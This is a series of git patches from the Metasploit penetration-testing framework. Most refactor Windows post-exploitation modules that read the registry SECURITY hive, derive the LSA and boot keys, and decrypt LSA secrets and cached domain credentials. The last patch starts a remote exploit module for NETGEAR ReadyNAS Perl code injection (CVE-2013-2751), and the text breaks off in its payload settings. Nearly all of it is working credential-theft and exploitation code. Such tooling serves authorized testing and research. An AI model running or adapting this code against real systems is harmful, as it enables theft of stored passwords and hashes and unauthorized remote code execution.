bootkey.unpack("C*") - descrambled = "" - # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end - - - descrambled - end #------------------------------------------------------------------------------- def capture_hboot_key(bootkey) From 26d07c0689084eb153333ef115f51e53db5ce9fe Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 23:35:14 -0400 Subject: [PATCH 010/217] add a needed -end --- modules/post/windows/gather/credentials/lsa.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index c7c83a6ee9..06230d45a5 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -190,11 +190,11 @@ class Metasploit3 < Msf::Post root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" key_arr = meterpreter_registry_enumkeys(root_key) + key_arr.each do |keys| mid_key = root_key + "\\" + keys sk_arr = meterpreter_registry_enumkeys(mid_key) sk_arr.each do |mkeys| - #CurrVal stores the currently set value of the key, in the case of #services it usually come out as plan text if(mkeys == "CurrVal") @@ -232,6 +232,7 @@ class Metasploit3 < Msf::Post end end end + end return sec_str end From 1a9fcf2cbbb4d590f8beab482938f2bbe829e1b5 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 23:39:07 -0400 Subject: [PATCH 011/217] move convert_des_56_to_64 to priv --- lib/msf/core/post/windows/priv.rb | 42 +++++++++++++++++++ modules/post/windows/gather/cachedump.rb | 39 ----------------- .../post/windows/gather/credentials/lsa.rb | 40 ------------------ modules/post/windows/gather/hashdump.rb | 42 +------------------ modules/post/windows/gather/smart_hashdump.rb | 40 ------------------ 5 files changed, 43 insertions(+), 160 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 689574f20c..37e822dcfe 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -109,4 +109,46 @@ module Msf::Post::Windows::Priv return descrambled end + # + # Converts DES 56 to DES 64 + # + def convert_des_56_to_64(kstr) + des_odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ] + + key = [] + str = kstr.unpack("C*") + + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F + + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = des_odd_parity[key[i]] + end + return key.pack("C*") + end + end diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index aeb74cd770..5fcccd8aae 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -91,45 +91,6 @@ class Metasploit3 < Msf::Post return lsakey end - def convert_des_56_to_64(kstr) - des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 - ] - - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = des_odd_parity[key[i]] - end - return key.pack("C*") - end - def decrypt_secret(secret, key) # Ruby implementation of SystemFunction005 diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 06230d45a5..8d472d479b 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -70,46 +70,6 @@ class Metasploit3 < Msf::Post return lsakey end - def convert_des_56_to_64(kstr) - des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 - ] - - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = des_odd_parity[key[i]] - end - return key.pack("C*") - end - - def decrypt_secret(secret, key) # Ruby implementation of SystemFunction005 diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 183c980e37..5532600047 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry - + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Local User Account Password Hashes (Registry)', @@ -33,25 +33,6 @@ class Metasploit3 < Msf::Post @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") - @des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 - ] - end def run @@ -221,27 +202,6 @@ class Metasploit3 < Msf::Post d_string end - def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end - - key.pack("C*") - end - def rid_to_key(rid) s1 = [rid].pack("V") diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 569d409932..ce5a9698df 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -44,24 +44,6 @@ class Metasploit3 < Msf::Post @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") - @des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 - ] end # Run Method for when run command is issued @@ -179,28 +161,6 @@ class Metasploit3 < Msf::Post end #------------------------------------------------------------------------------- - def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end - - key.pack("C*") - end - #------------------------------------------------------------------------------- - def rid_to_key(rid) s1 = [rid].pack("V") From 60d8ee14349b81182a88bbb0fdf606c09ddcbd7f Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 23:45:28 -0400 Subject: [PATCH 012/217] move capture_lsa_key to priv --- lib/msf/core/post/windows/priv.rb | 44 +++++++++++++++++++ modules/post/windows/gather/cachedump.rb | 38 ---------------- .../post/windows/gather/credentials/lsa.rb | 40 ----------------- 3 files changed, 44 insertions(+), 78 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 37e822dcfe..6b773fbcc3 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -151,4 +151,48 @@ module Msf::Post::Windows::Priv return key.pack("C*") end + # + # Returns the LSA key upon input of the unscrambled bootkey + # + def capture_lsa_key(bootkey) + begin + vprint_status("Getting PolSecretEncryptionKey...") + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) + pol = ok.query_value("").data + vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") + ok.close + print_status("XP or below client") + @vista = 0 + rescue + vprint_status("Trying 'V72' style...") + vprint_status("Getting PolEKList...") + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) + pol = ok.query_value("").data + vprint_good("Pol: #{pol.unpack("H*")[0]}") + ok.close + print_status("Vista or above client") + @vista = 1 + end + + if( @vista == 1 ) + lsakey = decrypt_lsa(pol, bootkey) + lsakey = lsakey[68,32] + vprint_good(lsakey.unpack("H*")[0]) + else + md5x = Digest::MD5.new() + md5x << bootkey + (1..1000).each do + md5x << pol[60,16] + end + + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = md5x.digest + lsakey = rc4.update(pol[12,48]) + lsakey << rc4.final + lsakey = lsakey[0x10..0x1F] + end + return lsakey + end + + end diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 5fcccd8aae..616030f2c4 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -53,44 +53,6 @@ class Metasploit3 < Msf::Post end end - def capture_lsa_key(bootkey) - begin - print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] ) - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) - pol = ok.query_value("").data - print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] ) - ok.close - print_status("XP compatible client") - @vista = 0 - rescue - print_status("Trying 'Vista' style...") - print_status("Getting PolEKList...") if( datastore['DEBUG'] ) - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) - pol = ok.query_value("").data - ok.close - print_status("Vista compatible client") - @vista = 1 - end - - if( @vista == 1 ) - lsakey = decrypt_lsa(pol, bootkey) - lsakey = lsakey[68,32] - else - md5x = Digest::MD5.new() - md5x << bootkey - (1..1000).each do - md5x << pol[60,16] - end - - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = md5x.digest - lsakey = rc4.update(pol[12,48]) - lsakey << rc4.final - lsakey = lsakey[0x10..0x1F] - end - return lsakey - end - def decrypt_secret(secret, key) # Ruby implementation of SystemFunction005 diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 8d472d479b..772eab3e7d 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -30,46 +30,6 @@ class Metasploit3 < Msf::Post )) end - def capture_lsa_key(bootkey) - begin - #print_status("Getting PolSecretEncryptionKey...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) - pol = ok.query_value("").data - #print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") - ok.close - print_status("XP compatible client") - @vista = 0 - rescue - #print_status("Trying 'V72' style...") - #print_status("Getting PolEKList...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) - pol = ok.query_value("").data - #print_good("Pol: #{pol.unpack("H*")[0]}") - ok.close - print_status("V/7/2k8 compatible client") - @vista = 1 - end - - if( @vista == 1 ) - lsakey = decrypt_lsa(pol, bootkey) - lsakey = lsakey[68,32] - #print_good(lsakey.unpack("H*")[0]) - else - md5x = Digest::MD5.new() - md5x << bootkey - (1..1000).each do - md5x << pol[60,16] - end - - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = md5x.digest - lsakey = rc4.update(pol[12,48]) - lsakey << rc4.final - lsakey = lsakey[0x10..0x1F] - end - return lsakey - end - def decrypt_secret(secret, key) # Ruby implementation of SystemFunction005 From 541d932d776cfe7cfdddea6565bfd8473b824856 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 23:53:33 -0400 Subject: [PATCH 013/217] move decrypt_lsa to priv as well --- lib/msf/core/post/windows/priv.rb | 28 +++++++++++++++++++ modules/post/windows/gather/cachedump.rb | 25 ----------------- .../post/windows/gather/credentials/lsa.rb | 27 ------------------ 3 files changed, 28 insertions(+), 52 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 6b773fbcc3..6cff475da9 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -194,5 +194,33 @@ module Msf::Post::Windows::Priv return lsakey end + # + # Decrypts the LSA key + # + def decrypt_lsa(pol, encryptedkey) + + sha256x = Digest::SHA256.new() + sha256x << encryptedkey + (1..1000).each do + sha256x << pol[28,32] + end + + aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") + aes.key = sha256x.digest + + vprint_status("digest #{sha256x.digest.unpack("H*")[0]}") + + decryptedkey = '' + + for i in (60...pol.length).step(16) + aes.decrypt + aes.padding = 0 + xx = aes.update(pol[i...i+16]) + decryptedkey += xx + end + vprint_good("Dec_Key #{decryptedkey}") + + return decryptedkey + end end diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 616030f2c4..76d1c02aa2 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -83,31 +83,6 @@ class Metasploit3 < Msf::Post end - def decrypt_lsa(pol, encryptedkey) - - sha256x = Digest::SHA256.new() - sha256x << encryptedkey - (1..1000).each do - sha256x << pol[28,32] - end - - aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") - aes.key = sha256x.digest - - print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] ) - - decryptedkey = '' - - for i in (60...pol.length).step(16) - aes.decrypt - aes.padding = 0 - xx = aes.update(pol[i...i+16]) - decryptedkey += xx - end - - return decryptedkey - end - def capture_nlkm(lsakey) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ) nlkm = ok.query_value("").data diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 772eab3e7d..36092f189f 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -60,33 +60,6 @@ class Metasploit3 < Msf::Post end - def decrypt_lsa(pol, encryptedkey) - - sha256x = Digest::SHA256.new() - sha256x << encryptedkey - (1..1000).each do - sha256x << pol[28,32] - end - - aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") - aes.key = sha256x.digest - - vprint_status("digest #{sha256x.digest.unpack("H*")[0]}") - - decryptedkey = '' - - for i in (60...pol.length).step(16) - aes.decrypt - aes.padding = 0 - xx = aes.update(pol[i...i+16]) - decryptedkey += xx - end - vprint_good("Dec_Key #{decryptedkey}") - - return decryptedkey - end - - def reg_getvaldata(key,valname) v = nil begin From 8f2ba689343552fbfe04df7b7589871865bdace8 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Thu, 17 Oct 2013 00:04:21 -0400 Subject: [PATCH 014/217] move decrypt_lsa and decrypt_secret to priv too --- lib/msf/core/post/windows/priv.rb | 45 ++++++++++++++++--- modules/post/windows/gather/cachedump.rb | 34 +------------- .../post/windows/gather/credentials/lsa.rb | 34 +------------- 3 files changed, 42 insertions(+), 71 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 6cff475da9..831120b5f0 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -175,7 +175,7 @@ module Msf::Post::Windows::Priv end if( @vista == 1 ) - lsakey = decrypt_lsa(pol, bootkey) + lsakey = decrypt_lsa_data(pol, bootkey) lsakey = lsakey[68,32] vprint_good(lsakey.unpack("H*")[0]) else @@ -195,9 +195,9 @@ module Msf::Post::Windows::Priv end # - # Decrypts the LSA key + # Decrypts the LSA encrypted data # - def decrypt_lsa(pol, encryptedkey) + def decrypt_lsa_data(pol, encryptedkey) sha256x = Digest::SHA256.new() sha256x << encryptedkey @@ -210,17 +210,48 @@ module Msf::Post::Windows::Priv vprint_status("digest #{sha256x.digest.unpack("H*")[0]}") - decryptedkey = '' + decrypted_data = '' for i in (60...pol.length).step(16) aes.decrypt aes.padding = 0 xx = aes.update(pol[i...i+16]) - decryptedkey += xx + decrypted_data += xx end - vprint_good("Dec_Key #{decryptedkey}") + vprint_good("Dec_Key #{decrypted_data}") + + return decrypted_data + end + + # Decrypts "Secret" encrypted data + # Ruby implementation of SystemFunction005 + # the original python code has been taken from Credump + # + def decrypt_secret_data(secret, key) + + j = 0 + decrypted_data = '' + + for i in (0...secret.length).step(8) + enc_block = secret[i..i+7] + block_key = key[j..j+6] + des_key = convert_des_56_to_64(block_key) + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + + d1.padding = 0 + d1.key = des_key + d1o = d1.update(enc_block) + d1o << d1.final + decrypted_data += d1o + j += 7 + if (key[j..j+7].length < 7 ) + j = key[j..j+7].length + end + end + dec_data_len = decrypted_data[0].ord + + return decrypted_data[8..8+dec_data_len] - return decryptedkey end end diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 76d1c02aa2..f53159a6cc 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -53,36 +53,6 @@ class Metasploit3 < Msf::Post end end - def decrypt_secret(secret, key) - - # Ruby implementation of SystemFunction005 - # the original python code has been taken from Credump - - j = 0 - decrypted_data = '' - - for i in (0...secret.length).step(8) - enc_block = secret[i..i+7] - block_key = key[j..j+6] - des_key = convert_des_56_to_64(block_key) - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - - d1.padding = 0 - d1.key = des_key - d1o = d1.update(enc_block) - d1o << d1.final - decrypted_data += d1o - j += 7 - if (key[j..j+7].length < 7 ) - j = key[j..j+7].length - end - end - dec_data_len = decrypted_data[0].ord - - return decrypted_data[8..8+dec_data_len] - - end - def capture_nlkm(lsakey) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ) nlkm = ok.query_value("").data @@ -91,9 +61,9 @@ class Metasploit3 < Msf::Post print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) if( @vista == 1 ) - nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey) + nlkm_dec = decrypt_lsa_data( nlkm[0..-1], lsakey) else - nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey) + nlkm_dec = decrypt_secret_data( nlkm[0xC..-1], lsakey) end return nlkm_dec diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 36092f189f..5466a72af9 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -30,36 +30,6 @@ class Metasploit3 < Msf::Post )) end - def decrypt_secret(secret, key) - - # Ruby implementation of SystemFunction005 - # the original python code has been taken from Credump - - j = 0 - decrypted_data = '' - - for i in (0...secret.length).step(8) - enc_block = secret[i..i+7] - block_key = key[j..j+6] - des_key = convert_des_56_to_64(block_key) - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - - d1.padding = 0 - d1.key = des_key - d1o = d1.update(enc_block) - d1o << d1.final - decrypted_data += d1o - j += 7 - if (key[j..j+7].length < 7 ) - j = key[j..j+7].length - end - end - dec_data_len = decrypted_data[0].ord - - return decrypted_data[8..8+dec_data_len] - - end - def reg_getvaldata(key,valname) v = nil begin @@ -97,11 +67,11 @@ class Metasploit3 < Msf::Post if( @vista == 1 ) #Magic happens here sec = sec[0..-1] - sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join + sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join else #and here sec = sec[0xC..-1] - sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join + sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join end if(sec.length > 0) From 72f686d99a18c3c3053c29a44bc12f3996ea592d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 24 Oct 2013 16:10:32 -0500 Subject: [PATCH 015/217] Add module for CVE-2013-2751 --- .../linux/http/netgear_readynas_exec.rb | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/exploits/linux/http/netgear_readynas_exec.rb diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb new file mode 100644 index 0000000000..caefabdd17 --- /dev/null +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation', + 'Description' => %q{ + This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The + vulnerability exists on the web fronted, specifically on the np_handler.pl component, + due to the insecure usage of the eval() perl function. This module has been tested + successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real + hardware. + }, + 'Author' => + [ + 'Craig Young ', # Vulnerability discovery + 'hdm', # diff the patch + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2751' ], + [ 'OSVDB', '98826' ], + [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ], + [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 4096, # Has into account Apache request length and base64 ratio + 